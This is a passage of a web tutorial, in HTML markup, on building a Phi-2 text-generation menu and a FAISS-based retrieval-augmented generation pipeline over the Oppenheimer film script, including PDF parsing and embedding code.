&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; DEBUG:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Answer:&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;text&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; text
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;__name__&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;: 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;while&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;First What would you like to write today?&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;1. Story 📝&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;2. Haiku ✍️&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;3. Joke 😆&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;4. Quit 👋&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        user_choice &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;input&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Choose an option:&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; user_choice &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;4&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        user_prompt &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;input&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;And on which topic:&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;not&lt;/span&gt; user_prompt&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;strip():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Input cannot be empty or consist only of spaces.&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;continue&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; user_choice &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;1&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(handle_prompt(user_prompt, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;story&amp;#39;&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;elif&lt;/span&gt; user_choice &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;2&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(handle_prompt(user_prompt, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;haiku&amp;#39;&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;elif&lt;/span&gt; user_choice &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;3&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(handle_prompt(user_prompt, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;joke&amp;#39;&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Invalid choice. Please choose a valid option.&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;_&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;100&lt;/span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id=&#34;5-implementing-retrieval-augmented-generation-rag-with-phi-2&#34;&gt;5. Implementing Retrieval-Augmented Generation (RAG) with Phi-2&lt;/h2&gt;
&lt;p&gt;RAG is a powerful technique that combines the strengths of retrieval-based and generation-based approaches to natural language processing. RAG is one of the ways one can get proprietary information and knowledge to the model and use it as part of the prompt.  It leverages a retriever to find relevant context passages and a generator to produce fluent and coherent responses. The retriever identifies relevant context passages, and the generator uses these passages to generate a response.&lt;/p&gt;
&lt;p&gt;This approach allows RAG to produce high-quality, informative, and contextually relevant responses. In-context learning is a key feature of RAG, as it allows the model to learn from the context of the conversation and generate more accurate and relevant responses. This is particularly useful in scenarios where the model needs to understand and respond to complex queries or provide detailed information on a specific topic.&lt;/p&gt;
&lt;p&gt;At a high level, the process of implementing RAG  involves the following steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Generate Embeddings with Phi-2&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;Use Phi-2 to encode your context passages (documents) and extract their embeddings.&lt;/li&gt;
&lt;li&gt;These embeddings will represent the semantic content of each passage.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Create a Vector Index&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;Choose a vector index library or framework (such as &lt;strong&gt;Faiss&lt;/strong&gt;, &lt;strong&gt;Annoy&lt;/strong&gt;, or &lt;strong&gt;HNSW&lt;/strong&gt;).&lt;/li&gt;
&lt;li&gt;Initialize an index structure to store the embeddings efficiently.&lt;/li&gt;
&lt;li&gt;Add the generated embeddings to the index.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Save Embeddings to a Local Vector Database&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;Create a local database to store the embeddings.&lt;/li&gt;
&lt;li&gt;For each context passage, save its corresponding embedding in the database.&lt;/li&gt;
&lt;li&gt;You can use the passage ID or a unique identifier as the key for retrieval.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Perform Similarity Search&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;When you receive a new context (query), encode it using Phi-2 to obtain its embedding.&lt;/li&gt;
&lt;li&gt;Use the vector index to perform a similarity search against the saved embeddings.&lt;/li&gt;
&lt;li&gt;Retrieve the most similar context passages based on cosine similarity or another distance metric.&lt;/li&gt;
&lt;li&gt;Return the relevant passages as results.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In our example, we will use the FAISS library to create a vector index and perform a similarity search. We will also save the embeddings to a local database for efficient retrieval. &lt;a
	
		href = &#34;https://faiss.ai/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		FAISS (Facebook AI Similarity Search)
	&lt;/span&gt;
&lt;/a&gt; is a library developed by Facebook for efficient similarity search and clustering of high-dimensional vectors. It allows for a quick nearest-neighbor search over large datasets and supports CPU and GPU-based computations. FAISS is widely used in information retrieval, recommendation systems, and other applications that require similarity search.&lt;/p&gt;
&lt;h3 id=&#34;51-loading-data-for-rag-and-phi-2&#34;&gt;5.1 Loading data for RAG and Phi-2&lt;/h3&gt;
&lt;p&gt;To implement RAG, we use the script from the Oppenheimer movie - which is quite new in that it is not in the Phi-2 training set and is available as a PDF. We will extract the script from this PDF, creating embeddings, which will then save the embeddings to a local database and perform a similarity search to retrieve relevant context passages based on a user query. We will use the FAISS library to create a vector index and perform a similarity search. We will also save the embeddings to a local database for efficient retrieval.&lt;/p&gt;
&lt;p&gt;We use the &lt;code&gt;PyPDF2&lt;/code&gt; library to parse PDFs, a pure Python library for reading and writing PDF files. It can extract text, merge and split documents, and more. We will use it to extract the PDF text from the Oppenheimer movie script. The following code function shows how to read the PDF and extract the text. This is efficient for our use case, but it is not the most efficient way to extract text from a PDF when thinking about production scale, especially if the PDF has a lot of images and tables.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;read_pdf&lt;/span&gt;(file_path):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pdf_file_obj &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;open&lt;/span&gt;(file_path, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;rb&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pdf_reader &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; PyPDF2&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;PdfFileReader(pdf_file_obj)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    num_pages &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; pdf_reader&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;numPages
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; page_num &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;range&lt;/span&gt;(num_pages):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        page_obj &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; pdf_reader&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;getPage(page_num)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; page_obj&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;extractText()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;yield&lt;/span&gt; text
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pdf_file_obj&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;close()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id=&#34;52-generate-embeddings-using-phi-2&#34;&gt;5.2 Generate embeddings using Phi-2&lt;/h3&gt;
&lt;p&gt;Now that we have the text, the following functions show how to create the embeddings using Phi-2. We read the text as a list of context passages and then use Phi-2 to encode each passage and extract its embedding using the &lt;code&gt;encode&lt;/code&gt; method.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;create_embeddings&lt;/span&gt;(file_path, tokenizer, model, device):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; file_path&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;endswith(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;.pdf&amp;#39;&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        context_passages &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;list&lt;/span&gt;(read_pdf(file_path))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;open&lt;/span&gt;(file_path, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;r&amp;#39;&lt;/span&gt;, encoding&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; file:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            context_passages &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; file&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;readlines()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    embeddings &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; passage &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; tqdm(context_passages):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;not&lt;/span&gt; passage&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;strip():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Skip the passage&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;pass&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        input_ids &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;encode(passage, 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                                    return_tensors&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;pt&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                                    add_special_tokens&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                                    return_attention_mask&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;to(device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;no_grad():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            output &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; model(input_ids)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            logits &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; output&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;logits
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            embedding &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; logits&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;mean(dim&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;detach()&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cpu()&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;numpy()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            embeddings&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(embedding)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; embeddings, context_passages&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Here are a few things that are going on:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Given that we are using this for inference and not training, we use a &lt;code&gt;torch.&lt;/code&gt;no_grad()`, which tells PyTorch not to track, calculate, or modify gradients while executing code within this block. This helps us save the amount of memory needed.&lt;/li&gt;
&lt;li&gt;Inside this block, the input_ids are fed into the model, and the output is stored in the output variable. The logits, which are the raw, unnormalized scores outputted by the last layer of the model, are then extracted from the model&amp;rsquo;s output.&lt;/li&gt;
&lt;li&gt;The logits are then processed to generate the embedding for the passage. The .mean(dim=1) method calculates the mean of the logits along dimension 1, which typically represents the sequence length in a language model.&lt;/li&gt;
&lt;li&gt;The .detach() method detaches the result from the computation graph so that no gradients will be backpropagated along this variable.&lt;/li&gt;
&lt;li&gt;The .cpu() method moves the tensor to the CPU if it&amp;rsquo;s not already there. Finally, the tensor is converted to a numpy array using the .numpy() method.&lt;/li&gt;
&lt;li&gt;The resulting embedding is then appended to the embeddings list, which contains the embeddings for all the passages.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;53-creating-vector-index&#34;&gt;5.3 Creating Vector Index&lt;/h3&gt;
&lt;p&gt;The following function shows how to create a vector index using the FAISS library and perform a similarity search to retrieve relevant context passages based on a user query. The create_index function initializes a flat index structure to store the embeddings and adds the embeddings to the index. The search_query function encodes the user query using Phi-2 to obtain its embedding and performs a similarity search against the saved embeddings to retrieve the most similar context passages.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;create_index&lt;/span&gt;(query_embedding):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    index &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; faiss&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;IndexFlatL2(query_embedding[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;shape[&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;])  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Euclidean distance&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    faiss&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;normalize_L2(query_embedding)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Add embeddings to the index&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; i, item &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; tqdm(&lt;span style=&#34;color:#91d7e3&#34;&gt;enumerate&lt;/span&gt;(query_embedding), total&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(query_embedding)):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; item&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;ndim &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            item &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; item&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;reshape(&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Reshape 1D array to 2D&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        index&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;add(item)
